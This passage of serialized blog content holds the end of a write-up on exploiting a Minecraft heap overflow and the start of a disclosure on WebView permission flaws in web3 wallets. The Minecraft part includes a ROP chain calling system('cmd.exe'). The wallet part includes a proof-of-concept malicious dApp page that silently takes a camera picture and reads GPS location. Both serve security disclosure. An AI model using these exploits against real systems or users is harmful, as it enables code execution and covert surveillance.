`GetModuleHandle(\"ucrtbase.dll\")`\n",{"type":23,"tag":139,"props":154062,"children":154063},{"class":141,"line":205},[154064],{"type":23,"tag":139,"props":154065,"children":154066},{"style":259},[154067],{"type":28,"value":154068},"rop.gadget(pop_rcx)\n",{"type":23,"tag":139,"props":154070,"children":154071},{"class":141,"line":214},[154072,154077,154082,154087,154091],{"type":23,"tag":139,"props":154073,"children":154074},{"style":259},[154075],{"type":28,"value":154076},"rop.gadget(",{"type":23,"tag":139,"props":154078,"children":154079},{"style":279},[154080],{"type":28,"value":154081},"0x",{"type":23,"tag":139,"props":154083,"children":154084},{"style":1016},[154085],{"type":28,"value":154086},"7468B68",{"type":23,"tag":139,"props":154088,"children":154089},{"style":259},[154090],{"type":28,"value":1062},{"type":23,"tag":139,"props":154092,"children":154093},{"style":958},[154094],{"type":28,"value":154095},"# offset of \"ucrtbase.dll\" string\n",{"type":23,"tag":139,"props":154097,"children":154098},{"class":141,"line":1320},[154099,154104],{"type":23,"tag":139,"props":154100,"children":154101},{"style":259},[154102],{"type":28,"value":154103},"rop.gadget(ret) ",{"type":23,"tag":139,"props":154105,"children":154106},{"style":958},[154107],{"type":28,"value":154108},"# movaps alignment\n",{"type":23,"tag":139,"props":154110,"children":154111},{"class":141,"line":1329},[154112,154117],{"type":23,"tag":139,"props":154113,"children":154114},{"style":259},[154115],{"type":28,"value":154116},"rop.gadget(push_rax_ret) ",{"type":23,"tag":139,"props":154118,"children":154119},{"style":958},[154120],{"type":28,"value":154121},"# calls `GetModuleHandle`\n",{"type":23,"tag":139,"props":154123,"children":154124},{"class":141,"line":1580},[154125,154130,154134,154139],{"type":23,"tag":139,"props":154126,"children":154127},{"style":259},[154128],{"type":28,"value":154129},"rop.literal(u64(",{"type":23,"tag":139,"props":154131,"children":154132},{"style":279},[154133],{"type":28,"value":1199},{"type":23,"tag":139,"props":154135,"children":154136},{"style":265},[154137],{"type":28,"value":154138},"\"ucrtbase\"",{"type":23,"tag":139,"props":154140,"children":154141},{"style":259},[154142],{"type":28,"value":17719},{"type":23,"tag":139,"props":154144,"children":154145},{"class":141,"line":1597},[154146,154150,154154,154159,154164,154168],{"type":23,"tag":139,"props":154147,"children":154148},{"style":259},[154149],{"type":28,"value":154129},{"type":23,"tag":139,"props":154151,"children":154152},{"style":279},[154153],{"type":28,"value":1199},{"type":23,"tag":139,"props":154155,"children":154156},{"style":265},[154157],{"type":28,"value":154158},"\".dll",{"type":23,"tag":139,"props":154160,"children":154161},{"style":46270},[154162],{"type":28,"value":154163},"\\x00\\x00\\x00\\x00",{"type":23,"tag":139,"props":154165,"children":154166},{"style":265},[154167],{"type":28,"value":18067},{"type":23,"tag":139,"props":154169,"children":154170},{"style":259},[154171],{"type":28,"value":17719},{"type":23,"tag":139,"props":154173,"children":154174},{"class":141,"line":1614},[154175,154179,154183,154188,154193,154197],{"type":23,"tag":139,"props":154176,"children":154177},{"style":259},[154178],{"type":28,"value":154129},{"type":23,"tag":139,"props":154180,"children":154181},{"style":279},[154182],{"type":28,"value":1199},{"type":23,"tag":139,"props":154184,"children":154185},{"style":265},[154186],{"type":28,"value":154187},"\"system",{"type":23,"tag":139,"props":154189,"children":154190},{"style":46270},[154191],{"type":28,"value":154192},"\\x00\\x00",{"type":23,"tag":139,"props":154194,"children":154195},{"style":265},[154196],{"type":28,"value":18067},{"type":23,"tag":139,"props":154198,"children":154199},{"style":259},[154200],{"type":28,"value":17719},{"type":23,"tag":139,"props":154202,"children":154203},{"class":141,"line":1627},[154204],{"type":23,"tag":139,"props":154205,"children":154206},{"emptyLinePlaceholder":15},[154207],{"type":28,"value":184},{"type":23,"tag":139,"props":154209,"children":154210},{"class":141,"line":1636},[154211],{"type":23,"tag":139,"props":154212,"children":154213},{"style":958},[154214],{"type":28,"value":154215},"# call `GetProcAddress(ucrtbase_base, \"system\")`\n",{"type":23,"tag":139,"props":154217,"children":154218},{"class":141,"line":1659},[154219,154224],{"type":23,"tag":139,"props":154220,"children":154221},{"style":259},[154222],{"type":28,"value":154223},"rop.gadget(xchg_rcx_rax) ",{"type":23,"tag":139,"props":154225,"children":154226},{"style":958},[154227],{"type":28,"value":154228},"# move the return value of `GetModuleHandle` to rcx\n",{"type":23,"tag":139,"props":154230,"children":154231},{"class":141,"line":1667},[154232],{"type":23,"tag":139,"props":154233,"children":154234},{"style":259},[154235],{"type":28,"value":154236},"rop.gadget(pop_rdx)\n",{"type":23,"tag":139,"props":154238,"children":154239},{"class":141,"line":1676},[154240,154244,154248,154252,154256,154260,154264,154268],{"type":23,"tag":139,"props":154241,"children":154242},{"style":259},[154243],{"type":28,"value":154076},{"type":23,"tag":139,"props":154245,"children":154246},{"style":279},[154247],{"type":28,"value":154081},{"type":23,"tag":139,"props":154249,"children":154250},{"style":1016},[154251],{"type":28,"value":154086},{"type":23,"tag":139,"props":154253,"children":154254},{"style":982},[154255],{"type":28,"value":6910},{"type":23,"tag":139,"props":154257,"children":154258},{"style":279},[154259],{"type":28,"value":154021},{"type":23,"tag":139,"props":154261,"children":154262},{"style":1016},[154263],{"type":28,"value":87157},{"type":23,"tag":139,"props":154265,"children":154266},{"style":259},[154267],{"type":28,"value":1062},{"type":23,"tag":139,"props":154269,"children":154270},{"style":958},[154271],{"type":28,"value":154272},"# offset of \"system\" string\n",{"type":23,"tag":139,"props":154274,"children":154275},{"class":141,"line":1745},[154276],{"type":23,"tag":139,"props":154277,"children":154278},{"style":259},[154279],{"type":28,"value":154280},"rop.gadget(get_proc_addr)\n",{"type":23,"tag":139,"props":154282,"children":154283},{"class":141,"line":1753},[154284],{"type":23,"tag":139,"props":154285,"children":154286},{"emptyLinePlaceholder":15},[154287],{"type":28,"value":184},{"type":23,"tag":139,"props":154289,"children":154290},{"class":141,"line":1783},[154291],{"type":23,"tag":139,"props":154292,"children":154293},{"style":958},[154294],{"type":28,"value":154295},"# call `system(\"cmd.exe\")`\n",{"type":23,"tag":139,"props":154297,"children":154298},{"class":141,"line":1791},[154299],{"type":23,"tag":139,"props":154300,"children":154301},{"style":259},[154302],{"type":28,"value":154068},{"type":23,"tag":139,"props":154304,"children":154305},{"class":141,"line":1823},[154306,154310,154314,154319,154323],{"type":23,"tag":139,"props":154307,"children":154308},{"style":259},[154309],{"type":28,"value":154076},{"type":23,"tag":139,"props":154311,"children":154312},{"style":279},[154313],{"type":28,"value":154081},{"type":23,"tag":139,"props":154315,"children":154316},{"style":1016},[154317],{"type":28,"value":154318},"7468DB8",{"type":23,"tag":139,"props":154320,"children":154321},{"style":259},[154322],{"type":28,"value":1062},{"type":23,"tag":139,"props":154324,"children":154325},{"style":958},[154326],{"type":28,"value":154327},"# offset of \"cmd.exe\" string\n",{"type":23,"tag":139,"props":154329,"children":154330},{"class":141,"line":1831},[154331,154335],{"type":23,"tag":139,"props":154332,"children":154333},{"style":259},[154334],{"type":28,"value":154103},{"type":23,"tag":139,"props":154336,"children":154337},{"style":958},[154338],{"type":28,"value":154108},{"type":23,"tag":139,"props":154340,"children":154341},{"class":141,"line":1891},[154342,154346],{"type":23,"tag":139,"props":154343,"children":154344},{"style":259},[154345],{"type":28,"value":154116},{"type":23,"tag":139,"props":154347,"children":154348},{"style":958},[154349],{"type":28,"value":154350},"# calls `system`\n",{"type":23,"tag":139,"props":154352,"children":154353},{"class":141,"line":7053},[154354,154358,154362,154367,154372,154376],{"type":23,"tag":139,"props":154355,"children":154356},{"style":259},[154357],{"type":28,"value":154129},{"type":23,"tag":139,"props":154359,"children":154360},{"style":279},[154361],{"type":28,"value":1199},{"type":23,"tag":139,"props":154363,"children":154364},{"style":265},[154365],{"type":28,"value":154366},"\"cmd.exe",{"type":23,"tag":139,"props":154368,"children":154369},{"style":46270},[154370],{"type":28,"value":154371},"\\x00",{"type":23,"tag":139,"props":154373,"children":154374},{"style":265},[154375],{"type":28,"value":18067},{"type":23,"tag":139,"props":154377,"children":154378},{"style":259},[154379],{"type":28,"value":17719},{"type":23,"tag":666,"props":154381,"children":154383},{"id":154382},"demo",[154384],{"type":28,"value":154385},"Demo",{"type":23,"tag":24,"props":154387,"children":154388},{},[154389],{"type":28,"value":154390},"The demo video below shows a Molang script achieving arbitrary read and write primitives to execute the previous ROP chain:",{"type":23,"tag":129762,"props":154392,"children":154395},{"className":154393,"controls":15},[139729,154394],"blog-video-wide",[154396,154397,154401],{"type":28,"value":139732},{"type":23,"tag":138968,"props":154398,"children":154400},{"src":154399,"type":129760},"/posts/minecraft-heap-overflow-to-rce/demo.mp4",[],{"type":28,"value":139738},{"type":23,"tag":41,"props":154403,"children":154404},{"id":26955},[154405],{"type":28,"value":16955},{"type":23,"tag":24,"props":154407,"children":154408},{},[154409],{"type":28,"value":154410},"This blog post is quite long, which reflects how modern mitigations make remote exploitation highly cumbersome - but still not impossible.",{"type":23,"tag":24,"props":154412,"children":154413},{},[154414],{"type":28,"value":154415},"It also demonstrates an interesting technique of abusing Molang to achieve RCE without relying on client information leaks.",{"type":23,"tag":24,"props":154417,"children":154418},{},[154419],{"type":28,"value":154420},"Finally, it highlights an underexplored area in security: video games. Even massively popular games like Minecraft contain large, complex, and unexplored attack surfaces.",{"type":23,"tag":817,"props":154422,"children":154423},{},[154424],{"type":28,"value":821},{"title":7,"searchDepth":151,"depth":151,"links":154426},[154427,154431,154436,154447],{"id":145087,"depth":151,"text":145090,"children":154428},[154429,154430],{"id":145122,"depth":160,"text":145125},{"id":145138,"depth":160,"text":145141},{"id":145159,"depth":151,"text":145162,"children":154432},[154433,154434,154435],{"id":145175,"depth":160,"text":145178},{"id":145263,"depth":160,"text":145266},{"id":147563,"depth":160,"text":147566},{"id":3422,"depth":151,"text":3425,"children":154437},[154438,154439,154440,154441,154442,154443,154444,154445,154446],{"id":147670,"depth":160,"text":147673},{"id":147695,"depth":160,"text":147698},{"id":147832,"depth":160,"text":147835},{"id":149996,"depth":160,"text":149999},{"id":150358,"depth":160,"text":150361},{"id":151178,"depth":160,"text":151181},{"id":153292,"depth":160,"text":153295},{"id":153910,"depth":160,"text":153913},{"id":154382,"depth":160,"text":154385},{"id":26955,"depth":151,"text":16955},"content:blog:2026-06-02-minecraft-heap-overflow-to-rce.md","blog/2026-06-02-minecraft-heap-overflow-to-rce.md","blog/2026-06-02-minecraft-heap-overflow-to-rce",{"_path":154452,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":154453,"description":154454,"date":154455,"author":154456,"image":154458,"isFeatured":15,"onBlogPage":15,"tags":154460,"body":154462,"_type":831,"_id":156785,"_source":833,"_file":156786,"_stem":156787,"_extension":836},"/blog/2026-06-18-goldmine-of-insecure-webview-integrations","The Goldmine of Insecure WebView Integrations","WebViews in mobile web3 wallets can quietly inherit the permissions granted to the wallet app itself. We found 20+ major wallets where a malicious dApp could access core permissions without authorization.","2026-06-18T12:00:00.000Z",[29088,29087,154457],"nikolaos",{"src":154459,"width":95172,"height":13},"/posts/insecure-webview-integrations/title.png",[30028,129868,154461],"webview",{"type":20,"children":154463,"toc":156772},[154464,154469,154474,154480,154485,154490,154495,154501,154506,154512,154534,154547,154567,154581,154587,154601,154609,154614,154620,154625,154634,154655,154799,154804,154810,154815,154820,154834,154838,154843,154861,156289,156293,156298,156310,156319,156324,156330,156352,156360,156365,156371,156376,156394,156399,156405,156418,156700,156728,156741,156746,156759,156763,156768],{"type":23,"tag":24,"props":154465,"children":154466},{},[154467],{"type":28,"value":154468},"WebViews are everywhere in mobile web3 wallets, but they are often treated as just a convenient way to load dApps. In reality, they can quietly inherit powerful app capabilities that attackers can exploit.",{"type":23,"tag":24,"props":154470,"children":154471},{},[154472],{"type":28,"value":154473},"In this article, we look at several WebView issues we found across wallet apps and libraries, including some issues in React Native.",{"type":23,"tag":33262,"props":154475,"children":154477},{"id":154476},"exploiting-mobile-webviews",[154478],{"type":28,"value":154479},"Exploiting Mobile WebViews",{"type":23,"tag":24,"props":154481,"children":154482},{},[154483],{"type":28,"value":154484},"A well known feature of most web3 wallets is the ability to interact with decentralized applications, often referred to as dApps.",{"type":23,"tag":24,"props":154486,"children":154487},{},[154488],{"type":28,"value":154489},"For a wallet application to be compatible with various dApps, it must support a message exchange system between the dApp webpage and the underlying wallet. On both Android and iOS, this is often achieved by loading the webpage inside a WebView component.",{"type":23,"tag":24,"props":154491,"children":154492},{},[154493],{"type":28,"value":154494},"Since dApps are such a widely supported feature, our main research goal was to uncover lesser known vulnerabilities affecting most - if not all - WebView implementations. One issue we repeatedly encountered is related to how React Native WebView handles permission requests. In order to understand these vulnerabilities and how they can be exploited, we first need to dig into how iOS and Android WebViews actually work.",{"type":23,"tag":41,"props":154496,"children":154498},{"id":154497},"handling-webview-permissions",[154499],{"type":28,"value":154500},"Handling WebView permissions",{"type":23,"tag":24,"props":154502,"children":154503},{},[154504],{"type":28,"value":154505},"In this section, we'll get into the inner workings of permission requests and how they are handled on Android compared to iOS.",{"type":23,"tag":666,"props":154507,"children":154509},{"id":154508},"android",[154510],{"type":28,"value":154511},"Android",{"type":23,"tag":24,"props":154513,"children":154514},{},[154515,154517,154524,154526,154532],{"type":28,"value":154516},"If we take a look at the Android documentation, the method responsible for granting or denying permission requests is ",{"type":23,"tag":64,"props":154518,"children":154521},{"href":154519,"rel":154520},"https://developer.android.com/reference/android/webkit/WebChromeClient#onPermissionRequest(android.webkit.PermissionRequest)",[68],[154522],{"type":28,"value":154523},"onPermissionRequest",{"type":28,"value":154525},". When a new permission request is triggered by a webpage, this method is called with a ",{"type":23,"tag":135,"props":154527,"children":154529},{"className":154528},[],[154530],{"type":28,"value":154531},"PermissionRequest",{"type":28,"value":154533}," object where the WebView developers must decide whether to grant or deny it.",{"type":23,"tag":90,"props":154535,"children":154536},{},[154537],{"type":23,"tag":24,"props":154538,"children":154539},{},[154540,154542,154545],{"type":28,"value":154541},"Notify the host application that web content is requesting permission to access the specified resources and the permission currently isn't granted or denied. The host application must invoke PermissionRequest.grant(String",{"type":23,"tag":139,"props":154543,"children":154544},{},[],{"type":28,"value":154546},") or PermissionRequest.deny(). If this method isn't overridden, the permission is denied.",{"type":23,"tag":24,"props":154548,"children":154549},{},[154550,154552,154558,154560,154566],{"type":28,"value":154551},"This object contains all the necessary information to evaluate the request, such as the webpage origin with ",{"type":23,"tag":135,"props":154553,"children":154555},{"className":154554},[],[154556],{"type":28,"value":154557},"getOrigin()",{"type":28,"value":154559}," and the requested permissions with ",{"type":23,"tag":135,"props":154561,"children":154563},{"className":154562},[],[154564],{"type":28,"value":154565},"getResources()",{"type":28,"value":73},{"type":23,"tag":24,"props":154568,"children":154569},{},[154570,154572,154579],{"type":28,"value":154571},"If we read the previous Android documentation carefully, we will see that any permission requests are denied by default. For this reason, most WebView wrappers opt to enable permission granting by overwriting this method, such as the official ",{"type":23,"tag":64,"props":154573,"children":154576},{"href":154574,"rel":154575},"https://chromium.googlesource.com/chromium/src/+/HEAD/android_webview/tools/system_webview_shell/apk/src/org/chromium/webview_shell/WebViewBrowserFragment.java#644",[68],[154577],{"type":28,"value":154578},"webview_shell",{"type":28,"value":154580},". In this instance, no origin checks are performed.",{"type":23,"tag":666,"props":154582,"children":154584},{"id":154583},"ios",[154585],{"type":28,"value":154586},"iOS",{"type":23,"tag":24,"props":154588,"children":154589},{},[154590,154592,154599],{"type":28,"value":154591},"On the contrary, iOS ",{"type":23,"tag":64,"props":154593,"children":154596},{"href":154594,"rel":154595},"https://developer.apple.com/documentation/webkit/wkuidelegate/webview(_:requestmediacapturepermissionfor:initiatedbyframe:type:decisionhandler:)?language=objc",[68],[154597],{"type":28,"value":154598},"documentation",{"type":28,"value":154600}," states that:",{"type":23,"tag":90,"props":154602,"children":154603},{},[154604],{"type":23,"tag":24,"props":154605,"children":154606},{},[154607],{"type":28,"value":154608},"If you don’t implement this method in your delegate, the system returns WKPermissionDecisionPrompt.",{"type":23,"tag":24,"props":154610,"children":154611},{},[154612],{"type":28,"value":154613},"This effectively means that by default, iOS determines whether a webpage (bound by its security origin) can access any permission using a prompt message. In this way, origin isolation for permission requests on iOS apps is enforced by default.",{"type":23,"tag":41,"props":154615,"children":154617},{"id":154616},"the-shortcomings-of-webview-implementations",[154618],{"type":28,"value":154619},"The shortcomings of WebView implementations",{"type":23,"tag":24,"props":154621,"children":154622},{},[154623],{"type":28,"value":154624},"Most web3 mobile wallets have an in-app feature that allows users to scan QR codes for a more user-friendly transaction experience. However, to use this feature, the user must grant the app permission to access the camera. Since this is a powerful permission, a pop-up will appear.",{"type":23,"tag":29233,"props":154626,"children":154627},{"style":29235},[154628],{"type":23,"tag":429,"props":154629,"children":154633},{"src":154630,"alt":154631,"style":154632},"/posts/insecure-webview-integrations/image1.png","Camera permission prompt","max-height:360px; width:auto; max-width:100%;",[],{"type":23,"tag":24,"props":154635,"children":154636},{},[154637,154639,154645,154647,154653],{"type":28,"value":154638},"Since most wallets are based on React Native, the most commonly used WebView implementation is ",{"type":23,"tag":135,"props":154640,"children":154642},{"className":154641},[],[154643],{"type":28,"value":154644},"react-native-webview",{"type":28,"value":154646},". If we take a look at how they handle a request that reaches the ",{"type":23,"tag":64,"props":154648,"children":154651},{"href":154649,"rel":154650},"https://github.com/react-native-webview/react-native-webview/blob/eb8ccacd35740af39993725ad1b592d45364a510/android/src/main/java/com/reactnativecommunity/webview/RNCWebChromeClient.java#L146",[68],[154652],{"type":28,"value":154523},{"type":28,"value":154654}," method, we see a similar pattern.",{"type":23,"tag":128,"props":154656,"children":154660},{"className":154657,"code":154658,"language":154659,"meta":7,"style":7},"language-java shiki shiki-themes slack-dark","// If all the permissions are already granted, send the response to the WebView synchronously\nif (requestedAndroidPermissions.isEmpty()) {\n    request.grant(grantedPermissions.toArray(new String[0]));\n    grantedPermissions = null;\n    return;\n}\n","java",[154661],{"type":23,"tag":135,"props":154662,"children":154663},{"__ignoreMap":7},[154664,154672,154701,154761,154781,154792],{"type":23,"tag":139,"props":154665,"children":154666},{"class":141,"line":142},[154667],{"type":23,"tag":139,"props":154668,"children":154669},{"style":958},[154670],{"type":28,"value":154671},"// If all the permissions are already granted, send the response to the WebView synchronously\n",{"type":23,"tag":139,"props":154673,"children":154674},{"class":141,"line":151},[154675,154679,154683,154688,154692,154697],{"type":23,"tag":139,"props":154676,"children":154677},{"style":319},[154678],{"type":28,"value":13590},{"type":23,"tag":139,"props":154680,"children":154681},{"style":259},[154682],{"type":28,"value":1042},{"type":23,"tag":139,"props":154684,"children":154685},{"style":294},[154686],{"type":28,"value":154687},"requestedAndroidPermissions",{"type":23,"tag":139,"props":154689,"children":154690},{"style":259},[154691],{"type":28,"value":73},{"type":23,"tag":139,"props":154693,"children":154694},{"style":245},[154695],{"type":28,"value":154696},"isEmpty",{"type":23,"tag":139,"props":154698,"children":154699},{"style":259},[154700],{"type":28,"value":89925},{"type":23,"tag":139,"props":154702,"children":154703},{"class":141,"line":160},[154704,154709,154713,154718,154722,154727,154731,154736,154740,154744,154749,154753,154757],{"type":23,"tag":139,"props":154705,"children":154706},{"style":294},[154707],{"type":28,"value":154708},"    request",{"type":23,"tag":139,"props":154710,"children":154711},{"style":259},[154712],{"type":28,"value":73},{"type":23,"tag":139,"props":154714,"children":154715},{"style":245},[154716],{"type":28,"value":154717},"grant",{"type":23,"tag":139,"props":154719,"children":154720},{"style":259},[154721],{"type":28,"value":262},{"type":23,"tag":139,"props":154723,"children":154724},{"style":294},[154725],{"type":28,"value":154726},"grantedPermissions",{"type":23,"tag":139,"props":154728,"children":154729},{"style":259},[154730],{"type":28,"value":73},{"type":23,"tag":139,"props":154732,"children":154733},{"style":245},[154734],{"type":28,"value":154735},"toArray",{"type":23,"tag":139,"props":154737,"children":154738},{"style":259},[154739],{"type":28,"value":262},{"type":23,"tag":139,"props":154741,"children":154742},{"style":319},[154743],{"type":28,"value":13134},{"type":23,"tag":139,"props":154745,"children":154746},{"style":305},[154747],{"type":28,"value":154748}," String",{"type":23,"tag":139,"props":154750,"children":154751},{"style":259},[154752],{"type":28,"value":1723},{"type":23,"tag":139,"props":154754,"children":154755},{"style":1016},[154756],{"type":28,"value":2021},{"type":23,"tag":139,"props":154758,"children":154759},{"style":259},[154760],{"type":28,"value":101416},{"type":23,"tag":139,"props":154762,"children":154763},{"class":141,"line":169},[154764,154769,154773,154777],{"type":23,"tag":139,"props":154765,"children":154766},{"style":259},[154767],{"type":28,"value":154768},"    grantedPermissions ",{"type":23,"tag":139,"props":154770,"children":154771},{"style":982},[154772],{"type":28,"value":1067},{"type":23,"tag":139,"props":154774,"children":154775},{"style":279},[154776],{"type":28,"value":68171},{"type":23,"tag":139,"props":154778,"children":154779},{"style":259},[154780],{"type":28,"value":995},{"type":23,"tag":139,"props":154782,"children":154783},{"class":141,"line":178},[154784,154788],{"type":23,"tag":139,"props":154785,"children":154786},{"style":319},[154787],{"type":28,"value":322},{"type":23,"tag":139,"props":154789,"children":154790},{"style":259},[154791],{"type":28,"value":995},{"type":23,"tag":139,"props":154793,"children":154794},{"class":141,"line":187},[154795],{"type":23,"tag":139,"props":154796,"children":154797},{"style":259},[154798],{"type":28,"value":1897},{"type":23,"tag":24,"props":154800,"children":154801},{},[154802],{"type":28,"value":154803},"As we can see above, if the Android app has already been granted access to the requested permissions, this method simply allows the loaded WebView to use them. This follows the same pattern as Google's WebView Shell implementation - no origin checks being performed. When this behavior is now combined with the typical web3 wallet features, namely dApps, a serious oversight arises.",{"type":23,"tag":666,"props":154805,"children":154807},{"id":154806},"real-world-exploitation",[154808],{"type":28,"value":154809},"Real world exploitation",{"type":23,"tag":24,"props":154811,"children":154812},{},[154813],{"type":28,"value":154814},"As mentioned, web3 mobile apps often use a WebView to load and execute dApps, with the most common implementation being React Native WebView. Developers assume that these WebViews, and especially React Native WebView, provide origin isolation by default for sensitive permissions. However, they do not. This allows any malicious dApp to request and use any permission already granted to the underlying application. No additional user consent checks are performed.",{"type":23,"tag":24,"props":154816,"children":154817},{},[154818],{"type":28,"value":154819},"If the app doesn’t already have these permissions, once the user allows camera or GPS access for a specific dApp inside the wallet, every other dApp can access those permissions without user consent, since there is no origin isolation.",{"type":23,"tag":24,"props":154821,"children":154822},{},[154823,154825,154832],{"type":28,"value":154824},"During our audits and research, we discovered more than 20 major wallets vulnerable to this attack scenario. While most were using React Native WebView, other less frequently used libraries were suffering from the same bug. One such example is the ",{"type":23,"tag":64,"props":154826,"children":154829},{"href":154827,"rel":154828},"https://github.com/Justson/AgentWeb/blob/95d48cd5a03227aa15644c4ef3a65c820b067616/agentweb-core/src/main/java/com/just/agentweb/DefaultChromeClient.java#L250",[68],[154830],{"type":28,"value":154831},"Justson",{"type":28,"value":154833},", used by a popular wallet in the Stellar ecosystem.",{"type":23,"tag":16900,"props":154835,"children":154836},{"id":37395},[154837],{"type":28,"value":32718},{"type":23,"tag":24,"props":154839,"children":154840},{},[154841],{"type":28,"value":154842},"In order to exploit this issue, we assume the following preconditions:",{"type":23,"tag":797,"props":154844,"children":154845},{},[154846,154851,154856],{"type":23,"tag":801,"props":154847,"children":154848},{},[154849],{"type":28,"value":154850},"The user has already granted the camera permission just to the wallet application or to another dApp with a different origin.",{"type":23,"tag":801,"props":154852,"children":154853},{},[154854],{"type":28,"value":154855},"The user is tricked into visiting a malicious dApp or redirected to one from the web.",{"type":23,"tag":801,"props":154857,"children":154858},{},[154859],{"type":28,"value":154860},"Once the dApp loads, the following code will run, allowing the attacker to take a picture with the camera.",{"type":23,"tag":128,"props":154862,"children":154864},{"className":47919,"code":154863,"language":30270,"meta":7,"style":7},"\u003C!DOCTYPE html>\n\u003Chtml>\n\u003Chead>\n    \u003Cmeta charset=\"utf-8\">\n    \u003Ctitle>\u003C/title>\n\u003C/head>\n\u003Cbody>\n    \u003Ch2>Smile dApp :)\u003C/h2>\n    \u003Cbutton id=\"connect\">Connect your wallet!\u003C/button>\n    \u003Cpre id=\"gps\">\u003C/pre>\n    \u003Cimg id=\"pic\">\n    \u003Cscript>\n        window.addEventListener('unhandledrejection', function (event) {\n            alert(`Unhandled Promise Rejection: ${event.reason}`);\n        });\n        window.onerror = function (msg, url, line, col, error) {\n            alert('onerror: ' + msg);\n            return false;\n        };\n\n        async function main() {\n            const stream = await navigator.mediaDevices.getUserMedia({ video: true });\n            const video = document.createElement(\"video\");\n            video.srcObject = stream;\n            const canvas = document.createElement(\"canvas\");\n\n            video.onloadedmetadata = () => {\n                canvas.width = video.videoWidth;\n                canvas.height = video.videoHeight;\n            };\n\n            connect.onclick = e => {\n                video.play();\n\n                canvas.getContext(\"2d\").drawImage(video, 0, 0);\n                stream.getTracks().forEach(t => t.stop());\n                canvas.toBlob((blob) => {\n                    pic.src = URL.createObjectURL(blob);\n                });\n\n                navigator.geolocation.getCurrentPosition(pos => {\n                    const c = pos.coords;\n                    gps.innerText = `Lat: ${c.latitude.toFixed(1)}\\nLon: ${c.longitude.toFixed(1)}`;\n                }, err => alert(err));\n            };\n\n        }\n        main();\n    \u003C/script>\n\u003C/body>\n\u003C/html>\n",[154865],{"type":23,"tag":135,"props":154866,"children":154867},{"__ignoreMap":7},[154868,154888,154903,154919,154949,154972,154987,155002,155034,155080,155116,155144,155159,155205,155251,155259,155327,155355,155370,155378,155385,155405,155465,155506,155535,155576,155583,155612,155650,155687,155694,155701,155734,155755,155762,155824,155880,155916,155962,155970,155977,156020,156053,156178,156211,156218,156225,156232,156244,156259,156274],{"type":23,"tag":139,"props":154869,"children":154870},{"class":141,"line":142},[154871,154875,154879,154884],{"type":23,"tag":139,"props":154872,"children":154873},{"style":30263},[154874],{"type":28,"value":32114},{"type":23,"tag":139,"props":154876,"children":154877},{"style":279},[154878],{"type":28,"value":32119},{"type":23,"tag":139,"props":154880,"children":154881},{"style":294},[154882],{"type":28,"value":154883}," html",{"type":23,"tag":139,"props":154885,"children":154886},{"style":30263},[154887],{"type":28,"value":3995},{"type":23,"tag":139,"props":154889,"children":154890},{"class":141,"line":151},[154891,154895,154899],{"type":23,"tag":139,"props":154892,"children":154893},{"style":30263},[154894],{"type":28,"value":3808},{"type":23,"tag":139,"props":154896,"children":154897},{"style":279},[154898],{"type":28,"value":30270},{"type":23,"tag":139,"props":154900,"children":154901},{"style":30263},[154902],{"type":28,"value":3995},{"type":23,"tag":139,"props":154904,"children":154905},{"class":141,"line":160},[154906,154910,154915],{"type":23,"tag":139,"props":154907,"children":154908},{"style":30263},[154909],{"type":28,"value":3808},{"type":23,"tag":139,"props":154911,"children":154912},{"style":279},[154913],{"type":28,"value":154914},"head",{"type":23,"tag":139,"props":154916,"children":154917},{"style":30263},[154918],{"type":28,"value":3995},{"type":23,"tag":139,"props":154920,"children":154921},{"class":141,"line":169},[154922,154926,154931,154936,154940,154945],{"type":23,"tag":139,"props":154923,"children":154924},{"style":30263},[154925],{"type":28,"value":30333},{"type":23,"tag":139,"props":154927,"children":154928},{"style":279},[154929],{"type":28,"value":154930},"meta",{"type":23,"tag":139,"props":154932,"children":154933},{"style":294},[154934],{"type":28,"value":154935}," charset",{"type":23,"tag":139,"props":154937,"children":154938},{"style":259},[154939],{"type":28,"value":1067},{"type":23,"tag":139,"props":154941,"children":154942},{"style":265},[154943],{"type":28,"value":154944},"\"utf-8\"",{"type":23,"tag":139,"props":154946,"children":154947},{"style":30263},[154948],{"type":28,"value":3995},{"type":23,"tag":139,"props":154950,"children":154951},{"class":141,"line":178},[154952,154956,154960,154964,154968],{"type":23,"tag":139,"props":154953,"children":154954},{"style":30263},[154955],{"type":28,"value":30333},{"type":23,"tag":139,"props":154957,"children":154958},{"style":279},[154959],{"type":28,"value":32192},{"type":23,"tag":139,"props":154961,"children":154962},{"style":30263},[154963],{"type":28,"value":47963},{"type":23,"tag":139,"props":154965,"children":154966},{"style":279},[154967],{"type":28,"value":32192},{"type":23,"tag":139,"props":154969,"children":154970},{"style":30263},[154971],{"type":28,"value":3995},{"type":23,"tag":139,"props":154973,"children":154974},{"class":141,"line":187},[154975,154979,154983],{"type":23,"tag":139,"props":154976,"children":154977},{"style":30263},[154978],{"type":28,"value":30317},{"type":23,"tag":139,"props":154980,"children":154981},{"style":279},[154982],{"type":28,"value":154914},{"type":23,"tag":139,"props":154984,"children":154985},{"style":30263},[154986],{"type":28,"value":3995},{"type":23,"tag":139,"props":154988,"children":154989},{"class":141,"line":196},[154990,154994,154998],{"type":23,"tag":139,"props":154991,"children":154992},{"style":30263},[154993],{"type":28,"value":3808},{"type":23,"tag":139,"props":154995,"children":154996},{"style":279},[154997],{"type":28,"value":30287},{"type":23,"tag":139,"props":154999,"children":155000},{"style":30263},[155001],{"type":28,"value":3995},{"type":23,"tag":139,"props":155003,"children":155004},{"class":141,"line":205},[155005,155009,155013,155017,155022,155026,155030],{"type":23,"tag":139,"props":155006,"children":155007},{"style":30263},[155008],{"type":28,"value":30333},{"type":23,"tag":139,"props":155010,"children":155011},{"style":279},[155012],{"type":28,"value":41},{"type":23,"tag":139,"props":155014,"children":155015},{"style":30263},[155016],{"type":28,"value":8471},{"type":23,"tag":139,"props":155018,"children":155019},{"style":259},[155020],{"type":28,"value":155021},"Smile dApp 